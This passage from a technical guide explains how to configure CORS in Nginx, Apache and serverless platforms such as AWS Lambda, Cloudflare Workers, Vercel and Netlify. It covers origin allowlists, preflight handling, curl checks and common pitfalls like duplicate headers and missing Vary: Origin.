        add_header 'Content-Length' 0;
        return 204;
    }

    # CORS headers for actual requests
    add_header 'Access-Control-Allow-Origin' 'https://app.example.com' always;
    add_header 'Access-Control-Allow-Credentials' 'true' always;
    add_header 'Access-Control-Expose-Headers' 'X-Request-ID, X-RateLimit-Remaining' always;
    add_header 'Vary' 'Origin' always;

    proxy_pass http://backend:8080;
}

Notice the always keyword on every add_header. This is the fix for problem #1: always makes Nginx include the header regardless of response status code — including 4xx and 5xx errors. Without always, a 502 Bad Gateway from your backend will arrive at the browser without CORS headers, and the browser will report a CORS error instead of showing you the actual problem.

This is the single most important Nginx CORS tip in this entire book: always use always.

Dynamic Origin Matching with map

Hardcoding a single origin works fine until you need to support staging, preview deployments, or multiple frontends. The map directive lets you dynamically select the Access-Control-Allow-Origin value:

# In the http {} block, BEFORE your server {} blocks
map $http_origin $cors_origin {
    default                          "";
    "https://app.example.com"        $http_origin;
    "https://staging.example.com"    $http_origin;
    "https://preview.example.com"    $http_origin;
}

# You can also use regex in map
map $http_origin $cors_origin_regex {
    default                                    "";
    ~^https://[a-z0-9-]+\.preview\.example\.com$  $http_origin;
    "https://app.example.com"                  $http_origin;
}

Then in your location block:

location /api/ {
    if ($request_method = 'OPTIONS') {
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
        add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
        add_header 'Access-Control-Max-Age' 86400 always;
        add_header 'Vary' 'Origin' always;
        return 204;
    }

    if ($cors_origin = "") {
        # Origin not in allowlist — don't add any CORS headers
        # The request still proxies, but the browser won't let JS read the response
    }

    add_header 'Access-Control-Allow-Origin' $cors_origin always;
    add_header 'Access-Control-Allow-Credentials' 'true' always;
    add_header 'Access-Control-Expose-Headers' 'X-Request-ID' always;
    add_header 'Vary' 'Origin' always;

    proxy_pass http://backend:8080;
}

The map approach is clean and efficient — Nginx evaluates it as a hash table lookup (or regex match), not a chain of if statements.

Why Vary: Origin Is Non-Negotiable

When your Access-Control-Allow-Origin header changes based on the request's Origin header, you must include Vary: Origin in the response. Without it, intermediate caches (CDNs, browser cache, Nginx's own proxy cache) might serve a response cached for https://app.example.com to a request from https://staging.example.com. That cached response has the wrong origin in its CORS header, and the browser blocks it.

add_header 'Vary' 'Origin' always;

Even if you're not using a CDN today, add the Vary header anyway. Future-you will thank present-you when someone adds CloudFlare to the stack.

Full Nginx Configuration Example

Here's a complete, production-ready nginx.conf server block for a typical API:

map $http_origin $cors_origin {
    default                          "";
    "https://app.example.com"        $http_origin;
    "https://staging.example.com"    $http_origin;
}

server {
    listen 443 ssl http2;
    server_name api.example.com;

    ssl_certificate     /etc/ssl/certs/api.example.com.pem;
    ssl_certificate_key /etc/ssl/private/api.example.com.key;

    # Proxy settings
    proxy_set_header Host              $host;
    proxy_set_header X-Real-IP         $remote_addr;
    proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;

    location /api/ {
        # --- CORS Preflight ---
        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Origin'  $cors_origin always;
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
            add_header 'Access-Control-Allow-Headers' 'Accept, Authorization, Content-Type, X-Request-ID' always;
            add_header 'Access-Control-Max-Age'       86400 always;
            add_header 'Vary'                         'Origin' always;
            add_header 'Content-Length'                0;
            add_header 'Content-Type'                 'text/plain';
            return 204;
        }

        # --- CORS Response Headers ---
        add_header 'Access-Control-Allow-Origin'      $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Access-Control-Expose-Headers'    'X-Request-ID, X-RateLimit-Remaining' always;
        add_header 'Vary'                             'Origin' always;

        # --- Proxy to backend ---
        proxy_pass http://127.0.0.1:8080;

        # Don't buffer responses — useful for streaming/SSE
        # proxy_buffering off;
    }

    # Health check — no CORS needed
    location /health {
        proxy_pass http://127.0.0.1:8080;
    }

    # Custom error pages — note these WON'T have CORS headers
    # even with 'always', because error_page generates a new response
    error_page 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
        internal;
    }
}

Testing Nginx CORS with curl

# Test preflight
curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  https://api.example.com/api/data

# Expected:
# < HTTP/2 204
# < access-control-allow-origin: https://app.example.com
# < access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
# < access-control-allow-headers: Accept, Authorization, Content-Type, X-Request-ID
# < access-control-max-age: 86400
# < vary: Origin

# Test actual request
curl -v -H "Origin: https://app.example.com" \
  https://api.example.com/api/data

# Expected:
# < access-control-allow-origin: https://app.example.com
# < access-control-allow-credentials: true
# < vary: Origin

# Test disallowed origin — should have no CORS headers
curl -v -H "Origin: https://evil.example.com" \
  https://api.example.com/api/data

# Test that error responses include CORS headers (the 'always' keyword)
# Stop your backend, then:
curl -v -H "Origin: https://app.example.com" \
  https://api.example.com/api/data

# Should return 502 but STILL have CORS headers

Apache

Apache handles CORS through mod_headers, which is usually enabled by default. The configuration can live in the main server config, a <VirtualHost> block, a <Directory> block, or an .htaccess file.

Basic CORS with mod_headers

Minimal .htaccess for development:

Header set Access-Control-Allow-Origin "*"
Header set Access-Control-Allow-Methods "GET, POST, OPTIONS"
Header set Access-Control-Allow-Headers "Content-Type, Authorization"

This has the same problems as the naive Nginx approach: no credentials support, no preflight handling, no error response coverage.

Header set vs Header always set

Apache has a critical distinction between Header set and Header always set:

  • Header set — adds the header only on successful responses (2xx, 3xx).
  • Header always set — adds the header on all responses, including 4xx and 5xx.

This is Apache's equivalent of Nginx's always keyword, and it matters for the exact same reason: without it, error responses lack CORS headers, and the browser shows a CORS error instead of the actual error.

# WRONG — error responses won't have CORS headers
Header set Access-Control-Allow-Origin "https://app.example.com"

# RIGHT — all responses get CORS headers
Header always set Access-Control-Allow-Origin "https://app.example.com"

Handling Preflight in Apache

Apache doesn't automatically respond to OPTIONS requests unless you configure it. You need to handle this explicitly:

# Enable mod_rewrite and mod_headers
RewriteEngine On

# Handle preflight OPTIONS requests
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=204,L]

# CORS headers for all responses
Header always set Access-Control-Allow-Origin "https://app.example.com"
Header always set Access-Control-Allow-Credentials "true"
Header always set Access-Control-Expose-Headers "X-Request-ID"
Header always set Vary "Origin"

# Additional headers only for preflight responses
Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" env=REQUEST_METHOD
Header always set Access-Control-Allow-Headers "Content-Type, Authorization, X-Request-ID" env=REQUEST_METHOD
Header always set Access-Control-Max-Age "86400" env=REQUEST_METHOD

Actually, that env-based approach is fragile. Here's a cleaner method using <If> directives (Apache 2.4+):

<If "%{REQUEST_METHOD} == 'OPTIONS'">
    Header always set Access-Control-Allow-Origin "https://app.example.com"
    Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS"
    Header always set Access-Control-Allow-Headers "Content-Type, Authorization, X-Request-ID"
    Header always set Access-Control-Max-Age "86400"
    Header always set Access-Control-Allow-Credentials "true"
    Header always set Vary "Origin"

    # Return 204 for preflight
    RewriteEngine On
    RewriteRule ^ - [R=204,L]
</If>

<Else>
    Header always set Access-Control-Allow-Origin "https://app.example.com"
    Header always set Access-Control-Allow-Credentials "true"
    Header always set Access-Control-Expose-Headers "X-Request-ID, X-RateLimit-Remaining"
    Header always set Vary "Origin"
</Else>

Dynamic Origin in Apache

Apache can dynamically set the origin using SetEnvIf and conditional headers:

# Check if Origin matches our allowlist
SetEnvIf Origin "^https://(app|staging)\.example\.com$" CORS_ORIGIN=$0

# Only set CORS headers if origin is allowed
Header always set Access-Control-Allow-Origin "%{CORS_ORIGIN}e" env=CORS_ORIGIN
Header always set Access-Control-Allow-Credentials "true" env=CORS_ORIGIN
Header always set Vary "Origin" env=CORS_ORIGIN

The env=CORS_ORIGIN at the end means the header is only added if the environment variable CORS_ORIGIN is set — which only happens if the SetEnvIf regex matched. This is Apache's equivalent of Nginx's map directive.

Gotcha: The regex in SetEnvIf is matched against the full header value, but it's not anchored by default. Use ^ and $ explicitly, or you'll match https://notapp.example.com too.

Full Apache .htaccess Example

# ==============================================
# CORS Configuration — Production
# ==============================================

# Ensure mod_headers and mod_rewrite are available
<IfModule mod_headers.c>
<IfModule mod_rewrite.c>

    RewriteEngine On

    # --- Dynamic origin allowlist ---
    SetEnvIf Origin "^https://(app|staging)\.example\.com$" CORS_ALLOW=true CORS_ORIGIN=$0

    # --- Preflight handling ---
    # Match OPTIONS requests from allowed origins
    RewriteCond %{REQUEST_METHOD} =OPTIONS
    RewriteCond %{ENV:CORS_ALLOW} =true
    RewriteRule ^ - [R=204,L]

    # --- CORS headers for allowed origins ---

    # Always set on all responses (including errors)
    Header always set Access-Control-Allow-Origin "%{CORS_ORIGIN}e" env=CORS_ALLOW
    Header always set Access-Control-Allow-Credentials "true" env=CORS_ALLOW
    Header always set Vary "Origin"

    # Preflight-specific headers
    # These get added to the 204 response from the rewrite rule above
    Header always set Access-Control-Allow-Methods "GET, POST, PUT, PATCH, DELETE, OPTIONS" env=CORS_ALLOW
    Header always set Access-Control-Allow-Headers "Accept, Authorization, Content-Type, X-Request-ID" env=CORS_ALLOW
    Header always set Access-Control-Max-Age "86400" env=CORS_ALLOW

    # Expose custom response headers
    Header always set Access-Control-Expose-Headers "X-Request-ID, X-RateLimit-Remaining" env=CORS_ALLOW

</IfModule>
</IfModule>

Testing Apache CORS with curl

# Preflight from allowed origin
curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type" \
  https://api.example.com/api/data

# Expected:
# < HTTP/1.1 204 No Content
# < Access-Control-Allow-Origin: https://app.example.com
# < Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
# < Access-Control-Allow-Headers: Accept, Authorization, Content-Type, X-Request-ID
# < Access-Control-Max-Age: 86400
# < Vary: Origin

# Actual request
curl -v -H "Origin: https://app.example.com" \
  https://api.example.com/api/data

# Disallowed origin — no CORS headers should appear
curl -v -H "Origin: https://evil.example.com" \
  https://api.example.com/api/data

Common Pitfalls (Both Servers)

Pitfall 1: Duplicate CORS Headers

This is the #1 problem I see with reverse-proxy CORS setups. It happens when your backend application also adds CORS headers, and then Nginx or Apache adds them again. The response ends up with:

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Origin: https://app.example.com

Two Access-Control-Allow-Origin headers. Some browsers handle this gracefully. Chrome, however, treats it as an error — even if both values are identical. The error message in DevTools is magnificently unhelpful:

Access to XMLHttpRequest at 'https://api.example.com/api/data' from origin
'https://app.example.com' has been blocked by CORS policy: The
'Access-Control-Allow-Origin' header contains multiple values
'https://app.example.com, https://app.example.com', but only one is allowed.

The fix: Pick ONE layer to handle CORS. Either:

  • Configure CORS in your application and let the proxy pass headers through untouched.
  • Configure CORS in the proxy and strip/disable CORS in your application.

If you choose the proxy approach in Nginx, remove any CORS headers the backend sends:

location /api/ {
    # Strip CORS headers from the upstream response
    proxy_hide_header Access-Control-Allow-Origin;
    proxy_hide_header Access-Control-Allow-Methods;
    proxy_hide_header Access-Control-Allow-Headers;
    proxy_hide_header Access-Control-Allow-Credentials;
    proxy_hide_header Access-Control-Expose-Headers;
    proxy_hide_header Access-Control-Max-Age;

    # Then add our own
    add_header 'Access-Control-Allow-Origin' $cors_origin always;
    # ... rest of CORS headers ...

    proxy_pass http://backend:8080;
}

In Apache:

# Remove upstream CORS headers before adding our own
Header always unset Access-Control-Allow-Origin
Header always unset Access-Control-Allow-Methods
Header always unset Access-Control-Allow-Headers
Header always unset Access-Control-Allow-Credentials

# Then add ours
Header always set Access-Control-Allow-Origin "%{CORS_ORIGIN}e" env=CORS_ALLOW
# ... rest of CORS headers ...

Pitfall 2: Error Pages Without CORS Headers

You stopped your backend. Nginx returns a 502 Bad Gateway. You used always on your add_header directives, so the CORS headers are there, right?

Maybe. If Nginx's error_page directive kicks in and serves a static HTML page, those add_header directives in your location /api/ block don't apply to the error page response. The error page is served from a different context.

In Nginx, verify with curl:

# Stop your backend, then:
curl -v -H "Origin: https://app.example.com" \
  https://api.example.com/api/data

# Check for CORS headers in the 502 response
# If they're missing, your error_page directive is overriding them

Fix for Nginx: Add CORS headers in the server block level (not just location), or use a named location for error handling that includes CORS headers:

error_page 502 503 504 = @cors_error;

location @cors_error {
    add_header 'Access-Control-Allow-Origin' $cors_origin always;
    add_header 'Access-Control-Allow-Credentials' 'true' always;
    add_header 'Vary' 'Origin' always;
    add_header 'Content-Type' 'application/json' always;
    return 502 '{"error": "upstream unavailable"}';
}

Pitfall 3: Caching Without Vary: Origin

If you use a CDN (CloudFlare, Fastly, CloudFront) or Nginx's proxy_cache in front of your API, and you don't include Vary: Origin, here's what happens:

  1. User A visits from https://app.example.com. The CDN caches the response with Access-Control-Allow-Origin: https://app.example.com.
  2. User B visits from https://staging.example.com. The CDN serves the cached response — which has the wrong origin header.
  3. User B's browser rejects the response with a CORS error.

This is intermittent, which makes it infuriating to debug. It depends on which user hits the cache first, which CDN edge node they're on, and when the cache expires. You'll see bug reports like "CORS works sometimes but not always" and question your sanity.

The fix is to always include Vary: Origin when the response headers depend on the request's Origin:

add_header 'Vary' 'Origin' always;
Header always set Vary "Origin"

If you already have other Vary values (like Accept-Encoding), you can append:

add_header 'Vary' 'Origin, Accept-Encoding' always;
Header always append Vary "Origin"

Note: Apache's Header append adds the value to an existing Vary header rather than replacing it. Nginx doesn't have an "append" mode for add_header, so you need to include all Vary values in a single directive.

Pitfall 4: Using if in Nginx for Non-Preflight Logic

Nginx's if directive has well-documented unexpected behavior. Specifically, if you put add_header inside an if block, all add_header directives from the parent context are dropped. This means:

location /api/ {
    add_header 'X-Custom-Header' 'hello' always;        # This header...
    add_header 'Vary' 'Origin' always;                   # And this one...

    if ($request_method = 'OPTIONS') {
        add_header 'Access-Control-Allow-Origin' '*';    # These are the ONLY
        add_header 'Access-Control-Allow-Methods' 'GET'; # headers you get
        return 204;                                      # on OPTIONS responses
    }

    # X-Custom-Header and Vary are present on non-OPTIONS responses
    # but ABSENT on OPTIONS responses
    proxy_pass http://backend:8080;
}

The X-Custom-Header and Vary headers disappear from OPTIONS responses because the if block creates a new context. This is why every example in this chapter repeats the Vary: Origin header inside the if block.

Pitfall 5: Proxy Rewriting the Origin Header

Some Nginx configurations inadvertently strip or modify the Origin request header before it reaches the backend. If your backend handles CORS (instead of the proxy), make sure the Origin header is forwarded:

# This is usually fine — proxy_pass forwards most headers by default
proxy_pass http://backend:8080;

# But if you're overriding headers, make sure Origin is included:
proxy_set_header Origin $http_origin;

Quick Decision Guide: Proxy vs Application CORS

Handle CORS in...When to use it
The applicationYou need per-route CORS policies, your app has clear ownership, or you're using a framework with good CORS middleware
The proxyYour backend doesn't support CORS natively, you have multiple backends behind one proxy, or you need consistent CORS across all services
BothNever. Just... don't. Duplicate headers await.

The safest approach for most teams: handle CORS in the application, and don't touch it in the proxy. This keeps the CORS logic close to the code that defines the API, version-controlled alongside the application, and testable in development without a proxy in the loop.

The exception is when you're running third-party backends that you can't modify. In that case, the proxy is your only option — and proxy_hide_header (Nginx) or Header always unset (Apache) are your friends.


Verifying Your Configuration

After setting up CORS at the proxy layer, run through this checklist with curl:

# 1. Preflight from allowed origin — should get full CORS headers
curl -sv -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  https://api.example.com/api/data 2>&1 | grep -i "access-control\|vary"

# 2. Simple request from allowed origin — should get CORS headers
curl -sv -H "Origin: https://app.example.com" \
  https://api.example.com/api/data 2>&1 | grep -i "access-control\|vary"

# 3. Request from disallowed origin — should NOT have CORS headers
curl -sv -H "Origin: https://evil.example.com" \
  https://api.example.com/api/data 2>&1 | grep -i "access-control"

# 4. Error response — should STILL have CORS headers
# (stop your backend or hit a known-bad endpoint)
curl -sv -H "Origin: https://app.example.com" \
  https://api.example.com/api/definitely-not-found 2>&1 | grep -i "access-control\|vary"

# 5. Check for duplicate headers
curl -sv -H "Origin: https://app.example.com" \
  https://api.example.com/api/data 2>&1 | grep -ci "access-control-allow-origin"
# Should output: 1 (not 2)

If all five checks pass, you're in good shape. If check 5 returns 2, go read the "Duplicate CORS Headers" section again. I'll wait.

CORS in Serverless and Edge Functions

Serverless changes the CORS equation in one fundamental way: there is no persistent server, no middleware stack that runs before every request, no place to bolt on a CORS handler and forget about it. Every function invocation starts from scratch, and if you forget to handle CORS in even one function, that's the one your frontend will call at 2 AM when you're on-call.

The good news is that several serverless platforms have added CORS configuration at the infrastructure level. The bad news is that every platform does it differently, some of them do it almost right (which is worse than doing it wrong), and you'll likely need to combine infrastructure config with in-function headers to get proper behavior.

Let's work through every major platform.


AWS Lambda + API Gateway

AWS has at least four different ways to put an HTTP endpoint in front of a Lambda function, and each one handles CORS differently. This is the kind of thing that makes you understand why AWS consultants charge what they charge.

API Gateway REST API (v1)

The original API Gateway (REST API type) has a built-in "Enable CORS" button in the console. Clicking it does three things:

  1. Creates an OPTIONS method on the resource.
  2. Adds mock integration that returns CORS headers.
  3. Adds Access-Control-Allow-Origin to the method response of your actual methods.

It sounds helpful. In practice, the console-generated configuration is fragile and doesn't handle all cases. Here's what it sets up behind the scenes:

OPTIONS /api/data → Mock Integration
  Method Response 200:
    Access-Control-Allow-Headers: Content-Type,Authorization
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *

Problems with the console approach:

  1. It uses * for the origin, which won't work with credentials.
  2. If you redeploy your API, the CORS configuration sometimes gets reset.
  3. It only adds CORS headers to success responses — if your Lambda throws an error and API Gateway returns a 5xx, no CORS headers.
  4. You can only set one static value for each header in the method response.

The correct approach for REST APIs is to return CORS headers from your Lambda function itself:

import json

def handler(event, context):
    origin = event.get('headers', {}).get('origin', '')

    allowed_origins = {
        'https://app.example.com',
        'https://staging.example.com',
    }

    cors_origin = origin if origin in allowed_origins else ''

    # Handle preflight
    if event['httpMethod'] == 'OPTIONS':
        return {
            'statusCode': 204,
            'headers': {
                'Access-Control-Allow-Origin': cors_origin,
                'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
                'Access-Control-Allow-Headers': 'Content-Type, Authorization',
                'Access-Control-Allow-Credentials': 'true',
                'Access-Control-Max-Age': '86400',
                'Vary': 'Origin',
            },
            'body': '',
        }

    # Your actual logic
    try:
        data = {"message": "hello from Lambda"}
        return {
            'statusCode': 200,
            'headers': {
                'Content-Type': 'application/json',
                'Access-Control-Allow-Origin': cors_origin,
                'Access-Control-Allow-Credentials': 'true',
                'Vary': 'Origin',
            },
            'body': json.dumps(data),
        }
    except Exception as e:
        # CORS headers even on errors — this is critical
        return {
            'statusCode': 500,
            'headers': {
                'Content-Type': 'application/json',
                'Access-Control-Allow-Origin': cors_origin,
                'Access-Control-Allow-Credentials': 'true',
                'Vary': 'Origin',
            },
            'body': json.dumps({'error': str(e)}),
        }

Notice how every response path — success, error, and preflight — includes CORS headers. In a serverless function, there's no middleware to catch the cases you forget. If your error handler doesn't include CORS headers, the frontend gets a CORS error instead of a useful error message.

API Gateway HTTP API (v2)

The newer HTTP API has first-class CORS configuration that actually works well:

AWS Console → API Gateway → Your HTTP API → CORS

Or via AWS CLI:

aws apigatewayv2 update-api \
  --api-id abc123 \
  --cors-configuration \
    AllowOrigins="https://app.example.com,https://staging.example.com",\
    AllowMethods="GET,POST,PUT,DELETE,OPTIONS",\
    AllowHeaders="Content-Type,Authorization,X-Request-ID",\
    ExposeHeaders="X-Request-ID,X-RateLimit-Remaining",\
    AllowCredentials=true,\
    MaxAge=86400

HTTP API v2 handles preflight automatically at the API Gateway level — your Lambda function never even sees the OPTIONS request. This is a significant improvement over REST API v1. The CORS headers are also added to error responses generated by the gateway itself (like 429 rate-limit responses).

Gotcha: If your Lambda function also returns CORS headers, you'll get duplicates. If you use the API Gateway v2 CORS configuration, remove CORS headers from your Lambda response. Or vice versa — pick one, not both.

Another gotcha: The AllowOrigins field in HTTP API v2 supports * but not regex patterns. If you need to match dynamic subdomains, you're back to handling CORS in the Lambda function.

Lambda Function URLs

Lambda Function URLs (introduced in 2022) are the simplest way to put an HTTP endpoint on a Lambda function without API Gateway:

aws lambda create-function-url-config \
  --function-name my-api-function \
  --auth-type NONE \
  --cors '{
    "AllowOrigins": ["https://app.example.com"],
    "AllowMethods": ["GET", "POST", "PUT", "DELETE"],
    "AllowHeaders": ["Content-Type", "Authorization"],
    "ExposeHeaders": ["X-Request-ID"],
    "AllowCredentials": true,
    "MaxAge": 86400
  }'

Lambda Function URLs handle preflight automatically and add CORS headers to all responses, including errors. The configuration is clean. The main limitation is that you can't use a custom domain without CloudFront in front.

Gotcha: If you configure CORS on the Function URL and return CORS headers from your function code, the Function URL configuration takes precedence for preflight responses, but your function's headers are used for actual responses. This can lead to inconsistent behavior. Choose one approach.

CDK Examples

If you're managing infrastructure with AWS CDK (and you should be), here's how to configure CORS for each API type:

HTTP API v2 with CDK:

import * as apigwv2 from 'aws-cdk-lib/aws-apigatewayv2';

const api = new apigwv2.HttpApi(this, 'MyApi', {
  corsPreflight: {
    allowOrigins: [
      'https://app.example.com',
      'https://staging.example.com',
    ],
    allowMethods: [
      apigwv2.CorsHttpMethod.GET,
      apigwv2.CorsHttpMethod.POST,
      apigwv2.CorsHttpMethod.PUT,
      apigwv2.CorsHttpMethod.DELETE,
      apigwv2.CorsHttpMethod.OPTIONS,
    ],
    allowHeaders: ['Content-Type', 'Authorization', 'X-Request-ID'],
    exposeHeaders: ['X-Request-ID'],
    allowCredentials: true,
    maxAge: Duration.hours(24),
  },
});

REST API v1 with CDK:

import * as apigw from 'aws-cdk-lib/aws-apigateway';

const api = new apigw.RestApi(this, 'MyApi', {
  defaultCorsPreflightOptions: {
    allowOrigins: ['https://app.example.com'],
    allowMethods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
    allowHeaders: ['Content-Type', 'Authorization'],
    allowCredentials: true,
    maxAge: Duration.hours(24),
  },
});

Lambda Function URL with CDK:

const functionUrl = myFunction.addFunctionUrl({
  authType: lambda.FunctionUrlAuthType.NONE,
  cors: {
    allowedOrigins: ['https://app.example.com'],
    allowedMethods: [lambda.HttpMethod.GET, lambda.HttpMethod.POST],
    allowedHeaders: ['Content-Type', 'Authorization'],
    exposedHeaders: ['X-Request-ID'],
    allowCredentials: true,
    maxAge: Duration.hours(24),
  },
});

Terraform Example

resource "aws_apigatewayv2_api" "my_api" {
  name          = "my-api"
  protocol_type = "HTTP"

  cors_configuration {
    allow_origins     = ["https://app.example.com", "https://staging.example.com"]
    allow_methods     = ["GET", "POST", "PUT", "DELETE", "OPTIONS"]
    allow_headers     = ["Content-Type", "Authorization", "X-Request-ID"]
    expose_headers    = ["X-Request-ID", "X-RateLimit-Remaining"]
    allow_credentials = true
    max_age           = 86400
  }
}

CloudFlare Workers

CloudFlare Workers run at the edge, which means they're both your application server and your CDN. CORS handling is entirely manual — there's no built-in CORS configuration. You write JavaScript (or TypeScript, Rust via WASM, etc.) and handle every aspect of the HTTP request/response yourself.

This is actually liberating once you accept it.

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://staging.example.com',
]);

function getCorsHeaders(request: Request): Record<string, string> {
  const origin = request.headers.get('Origin') || '';

  if (!ALLOWED_ORIGINS.has(origin)) {
    return {};
  }

  return {
    'Access-Control-Allow-Origin': origin,
    'Access-Control-Allow-Credentials': 'true',
    'Vary': 'Origin',
  };
}

function handlePreflight(request: Request): Response {
  const origin = request.headers.get('Origin') || '';

  if (!ALLOWED_ORIGINS.has(origin)) {
    return new Response(null, { status: 403 });
  }

  return new Response(null, {
    status: 204,
    headers: {
      'Access-Control-Allow-Origin': origin,
      'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
      'Access-Control-Allow-Headers': 'Content-Type, Authorization, X-Request-ID',
      'Access-Control-Allow-Credentials': 'true',
      'Access-Control-Max-Age': '86400',
      'Vary': 'Origin',
    },
  });
}

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    // Handle preflight
    if (request.method === 'OPTIONS') {
      return handlePreflight(request);
    }

    const corsHeaders = getCorsHeaders(request);

    try {
      // Your actual logic
      const url = new URL(request.url);

      if (url.pathname === '/api/data' && request.method === 'GET') {
        return new Response(
          JSON.stringify({ message: 'hello from the edge' }),
          {
            headers: {
              'Content-Type': 'application/json',
              ...corsHeaders,
            },
          }
        );
      }

      return new Response(
        JSON.stringify({ error: 'not found' }),
        {
          status: 404,
          headers: {
            'Content-Type': 'application/json',
            ...corsHeaders,
          },
        }
      );
    } catch (err) {
      // CORS headers even on errors
      return new Response(
        JSON.stringify({ error: 'internal error' }),
        {
          status: 500,
          headers: {
            'Content-Type': 'application/json',
            ...corsHeaders,
          },
        }
      );
    }
  },
};

The pattern here — extracting CORS headers into a helper function and spreading them into every response — is the fundamental serverless CORS pattern. You'll see it in every platform section below.

Testing with curl:

# Preflight
curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type" \
  https://my-worker.my-subdomain.workers.dev/api/data

# Actual request
curl -v -H "Origin: https://app.example.com" \
  https://my-worker.my-subdomain.workers.dev/api/data

CloudFlare Workers gotcha: If you're using CloudFlare Workers in front of another origin (like an S3 bucket or your own server), and that origin also sets CORS headers, you'll get duplicates. Use the Worker to strip upstream CORS headers before adding your own:

const response = await fetch(request);
const newResponse = new Response(response.body, response);

// Remove upstream CORS headers
newResponse.headers.delete('Access-Control-Allow-Origin');
newResponse.headers.delete('Access-Control-Allow-Methods');
newResponse.headers.delete('Access-Control-Allow-Headers');

// Add our own
for (const [key, value] of Object.entries(corsHeaders)) {
  newResponse.headers.set(key, value);
}

return newResponse;

Vercel

Vercel supports both Edge Functions and Serverless Functions, plus a vercel.json configuration for static CORS headers.

vercel.json Headers

For simple cases, you can add CORS headers to all responses via configuration:

{
  "headers": [
    {
      "source": "/api/(.*)",
      "headers": [
        {
          "key": "Access-Control-Allow-Origin",
          "value": "https://app.example.com"
        },
        {
          "key": "Access-Control-Allow-Methods",
          "value": "GET, POST, PUT, DELETE, OPTIONS"
        },
        {
          "key": "Access-Control-Allow-Headers",
          "value": "Content-Type, Authorization"
        },
        {
          "key": "Access-Control-Allow-Credentials",
          "value": "true"
        },
        {
          "key": "Vary",
          "value": "Origin"
        }
      ]
    }
  ]
}

Limitation: This sets a single static origin. If you need dynamic origin matching, you need to handle it in the function itself.

Vercel Serverless Functions (Node.js)

// api/data.ts
import type { VercelRequest, VercelResponse } from '@vercel/node';

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://staging.example.com',
]);

function setCorsHeaders(req: VercelRequest, res: VercelResponse): boolean {
  const origin = req.headers.origin || '';

  if (ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }

  // Handle preflight
  if (req.method === 'OPTIONS') {
    if (ALLOWED_ORIGINS.has(origin)) {
      res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
      res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
      res.setHeader('Access-Control-Max-Age', '86400');
    }
    res.status(204).end();
    return true; // Signal that we handled it
  }

  return false; // Continue to main handler
}

export default function handler(req: VercelRequest, res: VercelResponse) {
  if (setCorsHeaders(req, res)) return;

  res.status(200).json({ message: 'hello from Vercel' });
}

Vercel Edge Functions

// api/data.ts
import { NextResponse } from 'next/server';

export const config = {
  runtime: 'edge',
};

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://staging.example.com',
]);

export default function handler(request: Request) {
  const origin = request.headers.get('Origin') || '';
  const isAllowed = ALLOWED_ORIGINS.has(origin);

  // Handle preflight
  if (request.method === 'OPTIONS') {
    return new Response(null, {
      status: 204,
      headers: isAllowed ? {
        'Access-Control-Allow-Origin': origin,
        'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
        'Access-Control-Allow-Headers': 'Content-Type, Authorization',
        'Access-Control-Allow-Credentials': 'true',
        'Access-Control-Max-Age': '86400',
        'Vary': 'Origin',
      } : {},
    });
  }

  const data = { message: 'hello from the edge' };
  const headers: Record<string, string> = {
    'Content-Type': 'application/json',
  };

  if (isAllowed) {
    headers['Access-Control-Allow-Origin'] = origin;
    headers['Access-Control-Allow-Credentials'] = 'true';
    headers['Vary'] = 'Origin';
  }

  return new Response(JSON.stringify(data), { headers });
}

Netlify

Netlify has two mechanisms for CORS: the _headers file and Netlify Functions.

The _headers File

Create a _headers file in your publish directory:

/api/*
  Access-Control-Allow-Origin: https://app.example.com
  Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
  Access-Control-Allow-Headers: Content-Type, Authorization
  Access-Control-Allow-Credentials: true
  Vary: Origin

Or in netlify.toml:

[[headers]]
  for = "/api/*"
  [headers.values]
    Access-Control-Allow-Origin = "https://app.example.com"
    Access-Control-Allow-Methods = "GET, POST, PUT, DELETE, OPTIONS"
    Access-Control-Allow-Headers = "Content-Type, Authorization"
    Access-Control-Allow-Credentials = "true"
    Vary = "Origin"

Same limitation as Vercel's vercel.json: static origin only.

Netlify Functions

